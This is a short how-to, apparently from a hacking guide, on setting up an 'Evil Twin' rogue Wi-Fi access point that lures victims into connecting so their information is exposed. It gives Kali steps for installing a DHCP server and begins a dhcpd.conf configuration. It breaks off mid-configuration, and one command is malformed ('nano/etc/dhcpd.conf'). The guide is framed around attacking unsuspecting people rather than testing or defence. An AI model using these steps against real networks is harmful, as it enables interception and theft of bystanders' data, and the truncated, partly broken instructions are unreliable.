How to set up an Evil Twin AP
Evil Twin APs (i.e. Access Points) are rigged access points that pretend to be WiFi
hotspots. When a person connects to an Evil Twin AP, his information will be exposed to
the hacker.
To the victim, the malicious access point is a hotspot that has great signal. This perception
results from the fact that the hacker is near the victim. People love strong WiFi networks,
so it’s likely that a victim will connect to an Evil Twin AP.
The Process
1. Access your Kali computer.
2. Make sure that you have internet connection.
3. Launch a terminal and enter
apt-get install dhcp3-server
This command will install a DHCP server onto your machine.
4. Type
nano/etc/dhcpd.conf
And press Enter. Your terminal will display an empty file.
5. Type the following commands:
authoritative
default-lease-time 600
max-lease-time 6000
subnet 192.168.1.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128
option broadcast-address 192.168.1.255
